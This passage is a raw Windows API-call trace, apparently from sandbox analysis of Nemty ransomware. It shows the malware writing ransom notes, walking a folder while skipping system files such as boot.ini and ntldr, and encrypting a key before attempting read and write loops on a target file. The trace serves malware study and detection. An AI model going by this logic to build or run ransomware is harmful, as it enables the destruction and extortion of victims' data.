lpUsedDefaultChar=0x0) returned 5 [0051.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0051.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0051.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0051.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0051.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0051.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x4f94088 [0051.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0051.606] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0051.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.607] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.607] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0051.608] CloseHandle (hObject=0x3c4) returned 1 [0051.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0051.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x4f94100 [0051.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.608] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0051.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0051.609] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.609] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0051.610] CloseHandle (hObject=0x3c4) returned 1 [0051.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0051.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0051.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2678930, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2678930, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0051.610] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.611] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2678930, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2678930, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0051.611] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.611] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.611] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2=".") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="..") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="...") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="windows") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="rsa") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="NTDETECT.COM") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ntldr") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="MSDOS.SYS") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="IO.SYS") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="boot.ini") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="boot.ini") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ntuser.dat") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="desktop.ini") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="CONFIG.SYS") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="RECYCLER") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="bootmgr") returned 1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="programdata") returned -1 [0051.611] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="appdata") returned 1 [0051.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0051.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0051.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0051.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0051.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0051.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0051.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0051.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0051.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0051.612] Sleep (dwMilliseconds=0x5) [0051.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd269ea90, dwHighDateTime=0x1d561e7)) [0051.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd269ea90, dwHighDateTime=0x1d561e7)) [0051.618] GetLastError () returned 0xb7 [0051.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.618] GetLastError () returned 0xb7 [0051.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.618] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0051.619] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0051.619] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0051.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0051.619] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="8+5fmpA4Bf0m2b83lzBRHiVX/bpLQwfV3Sl7mDfn+Ef4WAOkIc3nbpjMlxhhq/ar\r\nSzaVKFQpqCjMmBn2nQepzOjFNfVPQzNZYC2msLZuETB5S9nvYOP814RacyH7o+4G\r\n6PAZGYeBNWAgNcPIv+xK7m2E63mgRTxVLjoNO3pMjAOFbsM+fDAc0rA0OSMpnuM7\r\nT2D6CkeThD8mDvws86ECZc9RaClvUZ6Snvx1MqoQjYKRTJY+1U+dHCLv2KzzmXTs\r\n5lgmFC47NBpUY7TRqRYEKtGkvExDWq4MiTTfY9iWBj7yfLtOlbqroEB38Uqx0B1q\r\nvFpWqLCfyzQrkQPghv6/lw==\r\n", pcchString=0x653ef9c) returned 1 [0051.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0051.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0051.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0051.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0051.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0051.619] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.619] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0051.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0051.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 